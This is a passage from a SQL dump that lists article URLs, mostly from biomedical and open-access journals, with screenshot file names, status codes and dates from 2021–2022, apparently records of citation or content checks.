arcane-by-rnaseq-method.pdf','1975-comm-sct.PNG',0,7,'2021-12-03'),(1976,10711,4,0,'https://www.imedpub.com/articles/evaluating-efficiency-of-some-exact-stringmatching-algorithms-on-largescale-genom.pdf','1976-comm-sct.PNG',6,7,'2021-12-03'),(1977,10496,4,0,'https://www.imedpub.com/articles/the-role-of-drug-biotechnology-and-fundamental-concepts-and-applications-ofpharmaceutical-biotechnology.php?aid=39999','1977-comm-sct.PNG',0,7,'2021-12-03'),(1978,6766,4,0,'file:///C:/Users/omics/Downloads/HeavenDahiya%20(1).pdf','1978-comm-sct.PNG',0,7,'2021-12-03'),(1979,6571,4,0,'https://www.fisheriessciences.com/abstract/effect-of-supplemental-amino-acid-on-performance-and-proximate-composition-of-clarias-gariepinus-burchell-1822-fed-roasted-soyabean-based-diets-33716.html','1979-comm-sct.PNG',0,7,'2021-12-03'),(1980,10731,4,0,'https://www.acanceresearch.com/cancer-research/brief-note-on-usage-of-biochemicals-in-immunotherapy.php?aid=41070','1980-comm-sct.PNG',6,7,'2021-12-03'),(1981,6708,4,0,'testitm',NULL,8,8,'2022-09-13'),(1982,6324,4,0,'testitm',NULL,8,8,'2022-09-13'),(1983,12823,4,0,'https://www.ijams-bbp.net/wp-content/uploads/2022/02/IJAMS-PRINTED-FINAL-DRAFT-371-381.pdf','1983-comm-sct.PNG',6,7,'2022-09-13'),(1984,12818,4,0,'https://www.itmedicalteam.pl/abstract/strengthening-community-clinics-of-bangladesh-through-telemedicine-interconnected-medical-facilities-113142.html','1984-comm-sct.PNG',6,7,'2022-09-13'),(1985,12813,4,0,'https://assets.researchsquare.com/files/rs-1334699/v1/35636a24-558f-40d7-92fb-2d54bb270576.pdf?c=1644424589','1985-comm-sct.PNG',6,7,'2022-09-14'),(1986,3339,4,0,'itmedicalteam.pl/articles/burden-of-care-for-children-with-epilepsy-in-a-developing-country.pdf','1986-comm-sct.PNG',6,7,'2022-09-20'),(1987,3498,4,0,'https://www.hsj.gr/abstract/prevalence-of-intentional-interpersonal-physical-violence-injury-and-its-predicting-factors-at-south-ari-district-south-omo-zone-southern-ethiopia-health-facility-based-crosssectional-study-29715.html','1987-comm-sct.PNG',6,7,'2022-09-20'),(1988,3593,4,0,'https://www.itmedicalteam.pl/articles/gis-based-malaria-risk-assessment-106401.html','1988-comm-sct.PNG',6,7,'2022-09-20'),(1989,4272,4,0,'https://www.itmedicalteam.pl/articles/evaluation-of-clinical-and-biochemical-characteristics-and-genetic-associationbetween-the-polymorphic-loci-in-diabetic-mellitus-2.pdf','1989-comm-sct.PNG',6,7,'2022-09-20'),(1990,4313,4,0,'https://www.itmedicalteam.pl/articles/isolation-and-molecular-identification-of-different-salmonella-serovarsdistributed-in-benue-state-nigeria.pdf','1990-comm-sct.PNG',6,7,'2022-09-20'),(1991,4840,4,0,'https://www.itmedicalteam.pl/articles/routine-health-service-records-utilization-and-administrative-reports-for-decision-making-in-four-hospitals-of-oromia-regional-sta.pdf','1991-comm-sct.PNG',6,7,'2022-09-20'),(1992,5035,4,0,'https://ijmedph.org/article/729','1992-comm-sct.PNG',6,7,'2022-09-20'),(1993,5428,4,0,'https://www.hsj.gr/abstract/does-adolescent-population-need-calcium-supplements-39785.html','1993-comm-sct.PNG',6,7,'2022-09-20'),(1994,5429,4,0,'https://www.pulsus.com/scholarly-articles/high-altitude-illness-in-children.pdf','1994-comm-sct.PNG',6,7,'2022-09-20'),(1995,5430,4,0,'https://www.itmedicalteam.pl/articles/mixed-ipvopv-scheduling-to-help-eradicate-vaccineassociatedparalytic-poliomyelitis.pdf','1995-comm-sct.PNG',6,7,'2022-09-20'),(1996,5431,4,0,'https://www.itmedicalteam.pl/articles/role-of-propranolol-in-the-management-0f-complicated-infantile-haemangiomas.pdf','1996-comm-sct.PNG',6,7,'2022-09-20'),(1997,5503,4,0,'https://www.itmedicalteam.pl/abstract/occupational-shoulder-pain-and-associated-disability-among-professional-bus-drivers-in-northern-thailand-106395.html','1997-comm-sct.PNG',6,7,'2022-09-20'),(1998,5758,4,0,'https://www.itmedicalteam.pl/articles/prevalence-and-antimicrobial-susceptibility-of-escherichia-coli-and-salmonella-isolates-from-feedslitter-and-cloacal-swabs-from-br.pdf','1998-comm-sct.PNG',6,7,'2022-09-20'),(1999,5877,4,0,'https://www.itmedicalteam.pl/articles/the-prevalence-rape-and-the-associated-factors-among-girls-and-womenattending-the-emergency-gynecology-clinic-yirgalem-general-hos.pdf','1999-comm-sct.PNG',6,7,'2022-09-20'),(2000,6017,4,0,'https://www.itmedicalteam.pl/articles/factors-affecting-postnatal-care-utilization-in-bahir-dar-zuria-district-northwestethiopia-2019-a-community-based-cross-section-st.pdf','2000-comm-sct.PNG',6,7,'2022-09-20'),(2001,6043,4,0,'https://www.itmedicalteam.pl/articles/sustained-release-nail-lacquer-formulation-containing-combination-of-luliconazole-and-methyl-salicylate-for-the-treatment-of-onych.pdf','2001-comm-sct.PNG',6,7,'2022-09-20'),(2002,6085,4,0,'https://www.itmedicalteam.pl/articles/formulation-developement-evaluation-of-atenolol-based-medicated-chewing-gum.pdf','2002-comm-sct.PNG',6,7,'2022-09-20'),(2003,6125,4,0,'https://www.hsj.gr/abstract/role-of-information-systems-in-healthcare-39759.html','2003-comm-sct.PNG',6,7,'2022-09-20'),(2004,6128,4,0,'https://www.itmedicalteam.pl/articles/management-of-covid19-by-china-lessons-learned.pdf','2004-comm-sct.PNG',6,7,'2022-09-20'),(2005,6128,4,0,'https://www.itmedicalteam.pl/articles/management-of-covid19-by-china-lessons-learned.pdf','2005-comm-sct.PNG',6,7,'2022-09-20'),(2006,6139,4,0,'https://www.itmedicalteam.pl/articles/protein-therapeutics-an-updated-review.pdf','2006-comm-sct.PNG',6,7,'2022-09-20'),(2007,6227,4,0,'https://www.itmedicalteam.pl/articles/on-the-factors-that-affect-concentration-variations-in-a-veterinary-drug-using-backward-stepwise-regression-analysis.pdf','2007-comm-sct.PNG',6,7,'2022-09-20'),(2008,13064,4,2,'Https://www.nature.com/articles/nrdp201783',NULL,8,8,'2022-09-20'),(2009,6145,4,0,'https://meridian.allenpress.com/jim/article-abstract/49/2/117/478743/Insurance-and-Improving-Its-Strategic-Purchase-in?redirectedFrom=fulltext','2009-comm-sct.PNG',6,7,'2022-09-20'),(2010,13056,4,2,'Https://www.mdpi.com/2076-2615/11/1/125/htm',NULL,7,8,'2022-09-20'),(2011,6255,4,0,'https://www.itmedicalteam.pl/articles/effect-of-storage-time-and-temperature-on-the-stability-of-serum-analytes.pdf','2011-comm-sct.PNG',6,7,'2022-09-20'),(2012,13055,4,2,'Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC164219/',NULL,7,8,'2022-09-20'),(2013,13050,4,2,'Https://bmcgenomics.biomedcentral.com/articles/10.1186/s12864-017-3557-1',NULL,8,8,'2022-09-20'),(2014,6262,4,0,'https://www.itmedicalteam.pl/articles/silver-diamine-fluoride-an-alternative-strategy-for-the-treatment-of-caries-ini.pdf','2014-comm-sct.PNG',6,7,'2022-09-20'),(2015,12992,4,2,'Https://gs.amegroups.com/article/download/19032/19061',NULL,8,8,'2022-09-20'),(2016,12976,4,2,'Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/',NULL,8,8,'2022-09-20'),(2017,6279,4,0,'https://www.itmedicalteam.pl/articles/a-new-rare-homozygous-mutation-in-the-polr3a-gene-causes-ataxospasmodic-leukodystrophy.pdf','2017-comm-sct.PNG',6,7,'2022-09-20'),(2018,12967,4,2,'Https://bmcgenomics.biomedcentral.com/articles/10.1186/s12864-017-3557-1',NULL,7,8,'2022-09-20'),(2019,6305,4,0,'https://www.itmedicalteam.pl/articles/sex-and-gender-differences-for-severity-and-mortality-from-covid19-rapidevidence-synthesis-for-the-implication-of-health-equity-in.pdf','2019-comm-sct.PNG',6,7,'2022-09-20'),(2020,12971,4,2,'https://www.sciencedirect.com/science/article/pii/S0307904X15007106',NULL,7,8,'2022-09-20'),(2021,12966,4,2,'Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4837021/',NULL,8,8,'2022-09-20'),(2022,12963,4,2,'Https://www.scirp.org/journal/PaperInformation.aspx?PaperID=90305',NULL,8,8,'2022-09-20'),(2023,6318,4,0,'https://www.itmedicalteam.pl/articles/intracranial-hypertension-think-of-leptomeningeal-melanocytosis.pdf','2023-comm-sct.PNG',6,7,'2022-09-20'),(2024,12937,4,2,'Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/',NULL,7,8,'2022-09-20'),(2025,12962,4,2,'Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/',NULL,8,8,'2022-09-20'),(2026,12961,4,2,'Https://www.sciencedirect.com/topics/agricultural-and-biological-sciences/freshwater-aquaculture',NULL,8,8,'2022-09-20'),(2027,12915,4,2,'https://www.researchgate.net/publication/284111977_Thermodynamic_and_Dynamic_Modelling_of_A_Single_Cylinder_Four_Stroke_Diesel_Engine',NULL,7,8,'2022-09-20'),(2028,12943,4,2,'https://www.researchgate.net/publication/284111977_Thermodynamic_and_Dynamic_Modelling_of_A_Single_Cylinder_Four_Stroke_Diesel_Engine',NULL,8,8,'2022-09-20'),(2029,12957,4,2,'https://www.researchgate.net/publication/284111977_Thermodynamic_and_Dynamic_Modelling_of_A_Single_Cylinder_Four_Stroke_Diesel_Engine',NULL,8,8,'2022-09-20'),(2030,12952,4,2,'Https://www.itmedicalteam.pl/articles/minimally-invasive-surgeries-using-a-tubular-retractor.pdf',NULL,8,8,'2022-09-20'),(2031,12945,4,2,'Https://www.hindawi.com/journals/ijps/2014/829474/',NULL,7,8,'2022-09-20'),(2032,6506,4,0,'https://www.itmedicalteam.pl/articles/ischemic-stroke-in-patients-with-sarscov2-infection-and-coagulation-disorders.pdf','2032-comm-sct.PNG',6,7,'2022-09-20'),(2033,12903,4,2,'Https://www.mdpi.com/1422-0067/10/2/702/htm',NULL,7,8,'2022-09-20'),(2034,12902,4,2,'Https://www.mdpi.com/1422-0067/10/2/674/htm',NULL,7,8,'2022-09-20'),(2035,12800,4,2,'Https://pubmed.ncbi.nlm.nih.gov/35572363/',NULL,8,8,'2022-09-20'),(2036,12776,4,2,'https://ecp.ep.liu.se/index.php/shi/article/view/464',NULL,8,8,'2022-09-20'),(2037,12736,4,2,'https://www.authorea.com/doi/full/10.22541/au.165330015.59870220',NULL,8,8,'2022-09-20'),(2038,6557,4,0,'https://www.itmedicalteam.pl/articles/evidencebased-approaches-in-chldren-with-hypothermia.pdf','2038-comm-sct.PNG',6,7,'2022-09-20'),(2039,12754,4,2,'https://www.authorea.com/doi/full/10.22541/au.165330015.59870220',NULL,7,8,'2022-09-20'),(2040,12722,4,2,'https://www.jobpcr.com/archive/JOBPCR-2022-9-3-091-THALLAJ-40-47.pdf',NULL,8,8,'2022-09-20'),(2041,12701,4,2,'https://rucore.libraries.rutgers.edu/rutgers-lib/66963/PDF/1/play/',NULL,7,8,'2022-09-20'),(2042,12682,4,2,'https://www.itmedicalteam.pl/articles/new-mechanism-of-dnmt3l-revealed-in-a-down-syndrome-study-111154.html',NULL,8,8,'2022-09-20'),(2043,6564,4,0,'https://www.itmedicalteam.pl/articles/insulinlike-growth-factor-1-increases-in-rtpa-treated-ischemic-stroke-patients.pdf','2043-comm-sct.PNG',6,7,'2022-09-20'),(2044,12580,4,2,'https://www.imedpub.com/articles/evaluation-of-early-term-results-of-endovascular-procedures-performed-with-retrograde-popliteal-artery-intervention.pdf',NULL,8,8,'2022-09-20'),(2045,12528,4,2,'https://www.omicsonline.org/open-access/autoimmune-haemolytic-anemia-associated-with-testicular-non-seminomatous-germ-cell-tumor-nsgct-a-unique-para-neoplastic-presentati-119388.html',NULL,7,8,'2022-09-20'),(2046,12465,4,2,'https://www.proquest.com/docview/2666973069?pq-origsite=gscholar&fromopenview=true',NULL,8,8,'2022-09-20'),(2047,6663,4,0,'https://www.itmedicalteam.pl/articles/dichlorodiphenyltrichloroethane-ddt-and-breast-cancer-106384.html','2047-comm-sct.PNG',6,7,'2022-09-20'),(2048,12236,4,2,'https://www.actascientific.com/ASCR/pdf/ASCR-03-0296.pdf',NULL,8,8,'2022-09-20'),(2049,11235,4,2,'Https://www.tandfonline.com/doi/abs/10.1080/10926771.2021.1960454?journalCode=wamt20',NULL,8,8,'2022-09-20'),(2050,11224,4,2,'Https://www.tandfonline.com/doi/abs/10.1080/14747731.2021.1969066?journalCode=rglo20',NULL,7,8,'2022-09-20'),(2051,6666,4,0,'https://www.itmedicalteam.pl/articles/influence-of-inflammation-on-cognitive-status-and-depression-in-60-patients-inflammation-and-geriatrics.pdf','2051-comm-sct.PNG',6,7,'2022-09-20'),(2052,11174,4,2,'https://www.acmicrob.com/abstract/natural-emergence-and-severity-of-leaf-and-glume-blotch-diseases-of-winter-wheat-and-winter-triticale-incited-by-complex-of-fungi-parastagonospora-sppzymoseptoria-tritici-under-climatic-conditions-of-poland-41881.html',NULL,8,8,'2022-09-20'),(2053,11119,4,2,'Https://www.tandfonline.com/doi/full/10.1080/17476348.2021.1926988',NULL,7,8,'2022-09-20'),(2054,11032,4,2,'https://www.longdom.org/open-access-pdfs/evaluation-of-phytochemical-composition-of-ginger-extracts.pdf',NULL,8,8,'2022-09-20'),(2055,10883,4,2,'Https://clinicsofsurgery.com/uploads/IMG_736459.pdf',NULL,8,8,'2022-09-20'),(2056,10731,4,2,'https://www.itmedicalteam.pl/abstract/brief-note-on-usage-of-biochemicals-in-immunotherapy-103005.html',NULL,8,8,'2022-09-20'),(2057,6751,4,0,'https://www.itmedicalteam.pl/articles/left-ventricular-hypertrophy-and-its-determinants-among-hypertensive-paitentsattending-a-cardiac-specialty-hospital-kathmandu.pdf','2057-comm-sct.PNG',6,7,'2022-09-20'),(2058,10636,4,2,'https://www.itmedicalteam.pl/articles/alcohol-impedes-neuroplasticity-and-functional-recovery-after-stroke-107753.html',NULL,8,8,'2022-09-20'),(2059,10479,4,2,'https://www.sciencedaily.com/releases/2021/09/210909124014.htm',NULL,8,8,'2022-09-20'),(2060,10403,4,2,'Https://pubmed.ncbi.nlm.nih.gov/32496928/',NULL,8,8,'2022-09-20'),(2061,6759,4,0,'https://www.scivisionpub.com/pdfs/a-real-datadriven-analytical-model-for-testing-for-the-novel-coronavirus-disease-covid19-1782.pdf','2061-comm-sct.PNG',6,7,'2022-09-20'),(2062,1201,4,2,'https://www.phytojournal.com/archives/2019/vol8issue5/PartD/8-4-672-303.pdf',NULL,8,8,'2022-09-20'),(2063,550,4,2,'Https://www.hsj.gr/medicine/practice-of-road-safety-measures-among-kenyatta-university-and-united-states-international-university-students-in-nairobi-county-k.php?aid=24606',NULL,8,8,'2022-09-20'),(2064,6808,4,0,'https://www.itmedicalteam.pl/articles/caregivers-healthcare-seeking-behavior-and-associated-factors-for-commonchildhood-illness-haro-gibe-kebele-asendabo-town-southwest.pdf','2064-comm-sct.PNG',6,7,'2022-09-20'),(2065,4793,4,2,'Https://ir-library.ku.ac.ke/bitstream/handle/123456789/22314/Trimester%20Related%20Reference%20Interval....pdf?sequence=1&isAllowed=y',NULL,8,8,'2022-09-20'),(2066,3681,4,2,'Https://www.hsj.gr/medicine/prevalence-determinants-and-prevention-of-type-2-diabetes-mellitus-t2dm-in-arabic-countries-a-systematic-review-study.php?aid=26717',NULL,8,8,'2022-09-20'),(2067,3650,4,2,'Https://www.hsj.gr/medicine/a-success-story-how-botswana-is-winning-the-war-against-coronavirus.pdf',NULL,8,8,'2022-09-20'),(2068,2922,4,2,'Https://www.hsj.gr/abstract/protein-microarray-analysis-of-already Published Solublernbiomarkers-in-fertile-and-postmenopausalrnwomen-in-relation-to-obesity-bone-statusrnand-blood-cell-populations-26498.html',NULL,8,8,'2022-09-20'),(2069,2974,4,2,'https://www.iomcworld.org/abstract/datadriven-statistical-modeling-and-analysis-of-the-survival-times-of-multiple-myeloma-mm-cancer-57070.html',NULL,8,8,'2022-09-20'),(2070,3299,4,2,'https://www.itmedicalteam.pl/articles/the-relationship-between-nursesjob-satisfaction-and-organizationalcommitment-106150.html',NULL,8,8,'2022-09-20'),(2071,3337,4,2,'https://www.itmedicalteam.pl/articles/effects-of-orally-ingested-paprikaxanthophylls-on-respiratory-metabolismduring-endurance-exercise-study-protocolfor-an-i-106148.html',NULL,7,8,'2022-09-20'),(2072,4567,4,2,'https://www.hsj.gr/abstract/dry-needling-versus-soft-tissue-release-to-treat-migraine-headache-a-randomized-clinical-trial-29714.html',NULL,8,8,'2022-09-20'),(2073,4715,4,2,'https://www.researchgate.net/publication/343212743_Status_of_distribution_of_coronavirus_disease_COVID-19_in_Ethiopia_within_first_three_months',NULL,8,8,'2022-09-20'),(2074,5286,4,2,'https://www.iomcworld.com/abstract/the-risk-on-musculoskeletal-system-and-psychosocial-functions-among-adolescents-with-problematic-internet-use-in-selecte-83618.html',NULL,8,8,'2022-09-20'),(2075,5275,4,2,'https://www.hilarispublisher.com/open-access/the-effects-of-thymoquinone-on-inhibiting-the-expression-of-senp1-gene-in-the-mcf7-cell-lines.pdf',NULL,7,8,'2022-09-20'),(2076,5236,4,2,'https://pubmed.ncbi.nlm.nih.gov/30631598/',NULL,8,8,'2022-09-20'),(2077,5206,4,2,'https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3645512',NULL,8,8,'2022-09-20'),(2078,5183,4,2,'https://www.alliedacademies.org/articles/tactilevisual-cross-modal-transfer-after-an-extended-period-of-congenital-blindness-16229.html',NULL,7,8,'2022-09-20'),(2079,5165,4,2,'https://hospital-medical-management.imedpub.com/services-available-in-the-transfusion-medicine-department-of-sir-salimullah-medical-college-and-mitford-hospital.php?aid=35850',NULL,7,8,'2022-09-20'),(2080,6953,4,0,'https://www.itmedicalteam.pl/articles/health-benefits-of-the-fruit-essential-oil-of-eucalyptus-citriodora-secondarymetabolites-radical-scavenging-antioxidant-antiinflam.pdf','2080-comm-sct.PNG',6,7,'2022-09-20'),(2081,5214,4,2,'https://www.proquest.com/openview/b70e4711c909f0270caf6b01878b7c0a/1?pq-origsite=gscholar&cbl=2042720',NULL,8,8,'2022-09-20'),(2082,7110,4,0,'https://www.jneuro.com/neurology-neuroscience/the-role-of-calcium-in-the-pathophysiology-of-vertigo-and-its-treatment-with-flunarizine.pdf','2082-comm-sct.PNG',6,7,'2022-09-20'),(2083,5437,4,2,'https://www.itmedicalteam.pl/articles/mind-and-machine-two-sides-of-the-same-coin-106207.html',NULL,7,8,'2022-09-20'),(2084,7115,4,0,'https://physiotherapy.somaiya.edu.in/en/view-publication/1707?type=research&id=720012#','2084-comm-sct.PNG',6,7,'2022-09-20'),(2085,5390,4,2,'https://www.itmedicalteam.pl/articles/high-blood-pressure-hbp-and-shiftwork-sw-an-assessment-of-the-frenchrailwaysworkers-sncf.pdf',NULL,8,8,'2022-09-20'),(2086,5389,4,2,'https://behaviouralscience.imedpub.com/high-blood-pressure-from-alucam-groups-workers-the-impact-of-the-activity.pdf',NULL,8,8,'2022-09-20'),(2087,5373,4,2,'https://www.researchgate.net/publication/266466444_Food_Sanitation_Knowledge_Attitude_and_Behavior_for_the_University_Restaurants_Employees',NULL,7,8,'2022-09-20'),(2088,7420,4,0,'https://www.itmedicalteam.pl/articles/r2-relaxometry-in-sclerotic-hippocampi-of-patients-with-temporal-lobe-epilepsy.pdf','2088-comm-sct.PNG',6,7,'2022-09-20'),(2089,5372,4,2,'https://www.scirp.org/journal/paperinformation.aspx?paperid=91876',NULL,7,8,'2022-09-20'),(2090,5370,4,2,'https://www.researchgate.net/publication/282399043_Presentation_of_a_Validated_Checklist_as_a_Tool_for_Assessing_Preventing_and_Managing_Food_Waste_in_Foodservices',NULL,8,8,'2022-09-20'),(2091,5369,4,2,'https://www.researchgate.net/publication/268382925_Factors_Influencing_Household_Food_Security_Status',NULL,8,8,'2022-09-20'),(2092,5368,4,2,'https://www.scirp.org/journal/paperinformation.aspx?paperid=27714',NULL,8,8,'2022-09-20'),(2093,7702,4,0,'https://www.ijariit.com/manuscripts/v7i4/V7I4-1438.pdf','2093-comm-sct.PNG',6,7,'2022-09-20'),(2094,7702,4,0,'https://www.ijariit.com/manuscripts/v7i4/V7I4-1438.pdf','2094-comm-sct.PNG',6,7,'2022-09-20'),(2095,5304,4,2,'https://www.alliedacademies.org/articles/tactilevisual-cross-modal-transfer-after-an-extended-period-of-congenital-blindness-16229.html',NULL,7,8,'2022-09-20'),(2096,8284,4,0,'https://www.sciencepublishinggroup.com/journal/paperinfo?journalid=391&doi=10.11648/j.ijnpt.20210702.11','2096-comm-sct.PNG',6,7,'2022-09-20'),(2097,5467,4,2,'https://www.itmedicalteam.pl/articles/high-blood-pressure-hbp-and-shiftwork-sw-an-assessment-of-the-frenchrailwaysworkers-sncf.pdf',NULL,8,8,'2022-09-20'),(2098,5466,4,2,'https://behaviouralscience.imedpub.com/chlorine-manufacturing-industry-and-workrelated-voice-disorders-and-their-hazards.pdf',NULL,8,8,'2022-09-20'),(2099,5465,4,2,'https://www.itmedicalteam.pl/articles/assessment-and-comparative-study-ofjob-stress-in-jam-hospital-jobs-tehrancity.pdf',NULL,8,8,'2022-09-20'),(2100,5461,4,2,'https://pubmed.ncbi.nlm.nih.gov/30365546/',NULL,8,8,'2022-09-20'),(2101,5460,4,2,'https://pubmed.ncbi.nlm.nih.gov/28107459/',NULL,8,8,'2022-09-20'),(2102,8545,4,0,'https://www.itmedicalteam.pl/articles/ameliorative-effect-of-ethanolic-leaf-extracts-of-dichrostachys-glomerata-on-post-seizure-visuospartial-and-cognitive-memory-and-l.pdf','2102-comm-sct.PNG',6,7,'2022-09-20'),(2103,8752,4,0,'https://www.iosrjournals.org/iosr-jdms/papers/Vol20-issue8/Ser-7/A2008070105.pdf','2103-comm-sct.PNG',6,7,'2022-09-20'),(2104,5458,4,2,'https://pubmed.ncbi.nlm.nih.gov/28591203/',NULL,7,8,'2022-09-20'),(2105,5457,4,2,'https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0185017',NULL,8,8,'2022-09-20'),(2106,5456,4,2,'Https://pubmed.ncbi.nlm.nih.gov/28926632/',NULL,7,8,'2022-09-20'),(2107,5455,4,2,'Https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0171363',NULL,8,8,'2022-09-20'),(2108,8884,4,0,'https://www.itmedicalteam.pl/articles/a-pandemic-curse-for-humanity--review-on-covid-19.pdf','2108-comm-sct.PNG',6,7,'2022-09-20'),(2109,5452,4,2,'Https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0191225',NULL,7,8,'2022-09-20'),(2110,5749,4,2,'https://pubmed.ncbi.nlm.nih.gov/28435139/',NULL,8,8,'2022-09-20'),(2111,5748,4,2,'https://pubmed.ncbi.nlm.nih.gov/32631218/',NULL,8,8,'2022-09-20'),(2112,9084,4,0,'https://www.itmedicalteam.pl/articles/maxillary-sinus-aspergillosis-in-an-immunocompetent-adult-female.pdf','2112-comm-sct.PNG',6,7,'2022-09-20'),(2113,5729,4,2,'https://www.proquest.com/openview/92fa30a1eb2f380dabdeb21768053d52/1?pq-origsite=gscholar&cbl=237822',NULL,7,8,'2022-09-20'),(2114,5727,4,2,'https://www.longdom.org/abstract/ocimum-gratissimum-influence-on-leadinduced-changes-on-the-hepatobiochemical-parameters-in-wistar-rats-83837.html',NULL,8,8,'2022-09-20'),(2115,5717,4,2,'https://journals.lww.com/crst/Fulltext/2021/01000/Pain_Like_a_pinch_of_salt_in_a_platter.4.aspx',NULL,8,8,'2022-09-20'),(2116,9171,4,0,'https://www.longdom.org/open-access/knowledge-and-practice-of-breast-selfexamination-and-associated-factors-among-women-students-in-west-arsi-zone-southeast-ethiopia-82055.html','2116-comm-sct.PNG',6,7,'2022-09-20'),(2117,5708,4,2,'https://pubmed.ncbi.nlm.nih.gov/33489991/',NULL,7,8,'2022-09-20'),(2118,5659,4,2,'https://www.longdom.org/open-access-pdfs/prevalence-of-anemia-and-associated-risk-factors-among-pregnant-women-attending-antenatal-care-in-selected-health-centers-in-addis-2167-0420-1000443.pdf',NULL,8,8,'2022-09-20'),(2119,5610,4,2,'http://journalcra.com/article/study-effect-telmisartan-hypertension',NULL,7,8,'2022-09-20'),(2120,5611,4,2,'https://www.longdom.org/open-access/altered-sarcoplasmic-reticulum-calcium-cyclingtargets-for-heart-failure-therapy.pdf',NULL,7,8,'2022-09-20'),(2121,9230,4,0,'https://www.ijrpr.com/uploads/V2ISSUE6/IJRPR523.pdf','2121-comm-sct.PNG',6,7,'2022-09-20'),(2122,5779,4,2,'Https://pubmed.ncbi.nlm.nih.gov/33605243/',NULL,8,8,'2022-09-20'),(2123,9231,4,0,'https://www.itmedicalteam.pl/articles/relation-of-hypertension-with-migraine-and-chronic-daily-headache-inpopulation-of-rafsanjan-cohort-study.pdf','2123-comm-sct.PNG',6,7,'2022-09-20'),(2124,5768,4,2,'Https://www.hsj.gr/medicine/lavenderrsquos-aromatherapy-to-decrease-anxiety-scale-patient-with-premastectomy-surgery-in-the-operation-theatre-murni-teguh-memo.php?aid=31002',NULL,8,8,'2022-09-20'),(2125,9243,4,0,'https://www.itmedicalteam.pl/articles/comprehending-the-bloodbrainbarrier-vital-constraints-and-recent-updates-for-cns-therapeutics.pdf','2125-comm-sct.PNG',6,7,'2022-09-20'),(2126,5764,4,2,'https://www.hsj.gr/abstract/relation-of-food-addiction-in-overweightrnobesity-depression-and-impulsivity-arnsystematic-review-and-metaanalysis-29794.html',NULL,8,8,'2022-09-20'),(2127,5761,4,2,'https://www.ijsr.net/archive/v10i1/SR21112110916.pdf',NULL,8,8,'2022-09-20'),(2128,5759,4,2,'https://hospital-medical-management.imedpub.com/services-available-in-the-transfusion-medicine-department-of-sir-salimullah-medical-college-and-mitford-hospital.php?aid=35850',NULL,7,8,'2022-09-20'),(2129,5757,4,2,'https://www.itmedicalteam.pl/articles/a-comparative-study-of-maternal-and-childhealth-outcomes-of-pregnant-women-livingwith-and-without-disability-in-kakamegacounty-ken.pdf',NULL,8,8,'2022-09-20'),(2130,9267,4,0,'https://www.itmedicalteam.pl/abstract/knowledge-and--preventive-practice-towards-non-communicable-diseases-risk-factors-among-civil-servants--of-kellem-wolleg-106420.html','2130-comm-sct.PNG',6,7,'2022-09-20'),(2131,5750,4,2,'https://www.mdpi.com/2076-0817/9/6/436',NULL,7,8,'2022-09-20'),(2132,5952,4,2,'https://www.jbiomeds.com/abstract/isolation-of-mesenchymal-stemlike-cells-and-its-invivo-tumorgenericity-into-meningioma-36033.html',NULL,7,8,'2022-09-20'),(2133,5936,4,2,'https://www.itmedicalteam.pl/articles/locus-of-control-with-learningachievement-student-nurse.pdf',NULL,8,8,'2022-09-20'),(2134,5909,4,2,'https://www.itmedicalteam.pl/articles/mental-health-and-covid19-infection-systematic-review-in-human-crosssectional-studies.pdf',NULL,7,8,'2022-09-20'),(2135,5908,4,2,'Https://behaviouralscience.imedpub.com/the-importance-of-resilience-in-the-management-of-chronic-pain-in-occupational-therapy-a-general-study.pdf',NULL,8,8,'2022-09-20'),(2136,5890,4,2,'https://www.hsj.gr/abstract/a-novel-approach-to-prevent-endothelialrnteardetachment-in-combined-advancedrnpseudoexfoliation-syndrome-andrndiabetes-mellitus-30949.html',NULL,8,8,'2022-09-20'),(2137,5889,4,2,'https://www.hsj.gr/abstract/diabetic-retinopathy-health-crises-inrnkurdistan-governorateiraqerbil-30951.html',NULL,7,8,'2022-09-20'),(2138,5887,4,2,'https://www.researchgate.net/publication/344167061_A_Novel_Approach_to_Prevent_Pterygium_Recurrence',NULL,8,8,'2022-09-20'),(2139,5854,4,2,'https://pubmed.ncbi.nlm.nih.gov/33489991/',NULL,7,8,'2022-09-20'),(2140,5888,4,2,'https://www.itmedicalteam.pl/articles/a-novel-approach-to-prevent-intraocularpressure-spikes-and-reflux-duringintravitreal-injections.pdf',NULL,8,8,'2022-09-20'),(2141,9343,4,0,'https://www.itmedicalteam.pl/articles/the-role-of-myeloid-derived-suppressor-cells-mdscs-in-the--immune-response-regarding-hepatitis-c.pdf','2141-comm-sct.PNG',6,7,'2022-09-20'),(2142,6032,4,2,'https://pubmed.ncbi.nlm.nih.gov/33953589/',NULL,7,8,'2022-09-20'),(2143,6029,4,2,'https://dergipark.org.tr/tr/download/article-file/1375394',NULL,7,8,'2022-09-20'),(2144,9375,4,0,'https://www.itmedicalteam.pl/articles/determinates-for-institutional-delivery-service-utilizations-among-mothers-in-hammer-district--ethiopia--evidence-fro.pdf','2144-comm-sct.PNG',6,7,'2022-09-20'),(2145,6023,4,2,'https://www.itmedicalteam.pl/articles/aquatic-psychomotricity-contribution-toglobal-and-fine-motor-skills-of-elderlywith-stroke.pdf',NULL,8,8,'2022-09-20'),(2146,9377,4,0,'https://www.itmedicalteam.pl/articles/sex-differences-in-lennoxgastaut-syndrome-electroclinical-correlations.pdf','2146-comm-sct.PNG',6,7,'2022-09-20'),(2147,6006,4,2,'https://www.hsj.gr/abstract/evaluation-of-the-histopathologicalrnfindings-of-128-persistent-periapicalrnradiolucent-lesions-of-endodontic-originrnobtained-during-apical-resective-surgery-33314.html',NULL,8,8,'2022-09-20'),(2148,6003,4,2,'https://www.hsj.gr/medicine/effects-of-steroid-hormones-on-sleep.pdf',NULL,7,8,'2022-09-20'),(2149,5996,4,2,'https://www.itmedicalteam.pl/articles/effects-of-a-multiprofessional-programand-isolated-in-improvement-of-thefunctional-fitness-of-elderly.pdf',NULL,8,8,'2022-09-20'),(2150,5974,4,2,'https://www.hsj.gr/abstract/nlinked-glycosylation-and-its-potentialrnapplication-in-drug-development-30911.html',NULL,8,8,'2022-09-20'),(2151,5967,4,2,'https://www.alliedacademies.org/articles/prevalence-of-syphilis-among-pregnant-woman-attending-antenatal-care-in-shanen-gibe-hospital-oromia-region-southwest-ethiopia-2019-17725.html',N